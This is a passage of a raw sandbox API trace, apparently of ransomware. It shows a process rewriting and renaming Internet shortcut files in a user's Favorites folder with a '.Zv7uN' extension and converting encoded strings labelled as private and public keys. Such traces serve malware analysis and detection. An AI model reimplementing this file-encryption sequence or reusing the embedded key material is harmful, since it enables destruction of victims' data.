lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Get Windows Live.url", cAlternateFileName="GETWIN~1.URL")) returned 1 [0125.386] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f750 | out: lpLocalFileTime=0x18f750) returned 1 [0125.386] FileTimeToDosDateTime (in: lpFileTime=0x18f750, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0125.386] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\get windows live.url"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1 [0125.387] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\get windows live.url")) returned 0x20 [0125.388] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url", dwFileAttributes=0x80) returned 1 [0125.390] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0125.390] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1ef003c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0125.391] GetCurrentThreadId () returned 0xa30 [0125.391] GetCurrentThreadId () returned 0xa30 [0125.391] GetCurrentThreadId () returned 0xa30 [0125.391] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0125.391] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f0109c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0125.392] GetCurrentThreadId () returned 0xa30 [0125.392] GetCurrentThreadId () returned 0xa30 [0125.392] GetCurrentThreadId () returned 0xa30 [0125.392] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\get windows live.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0125.392] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0125.392] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0125.393] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x85 [0125.393] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0125.393] ReadFile (in: hFile=0x1ec, lpBuffer=0x1f08ea0, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x1f08ea0*, lpNumberOfBytesRead=0x18f6a0*=0x85, lpOverlapped=0x0) returned 1 [0125.395] CloseHandle (hObject=0x1ec) returned 1 [0125.395] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\get windows live.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0125.398] WriteFile (in: hFile=0x1ec, lpBuffer=0x1f0aed0*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x1f0aed0*, lpNumberOfBytesWritten=0x18f6ac*=0x85, lpOverlapped=0x0) returned 1 [0125.400] CloseHandle (hObject=0x1ec) returned 1 [0125.400] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\get windows live.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\get windows live.url.zv7un")) returned 1 [0125.401] GetCurrentThreadId () returned 0xa30 [0125.401] GetCurrentThreadId () returned 0xa30 [0125.401] GetCurrentThreadId () returned 0xa30 [0125.401] GetCurrentThreadId () returned 0xa30 [0125.401] GetCurrentThreadId () returned 0xa30 [0125.401] GetCurrentThreadId () returned 0xa30 [0125.401] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Windows Live Gallery.url", cAlternateFileName="WINDOW~2.URL")) returned 1 [0125.401] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0125.401] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0125.401] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live gallery.url"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1 [0125.403] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live gallery.url")) returned 0x20 [0125.403] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url", dwFileAttributes=0x80) returned 1 [0125.405] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5b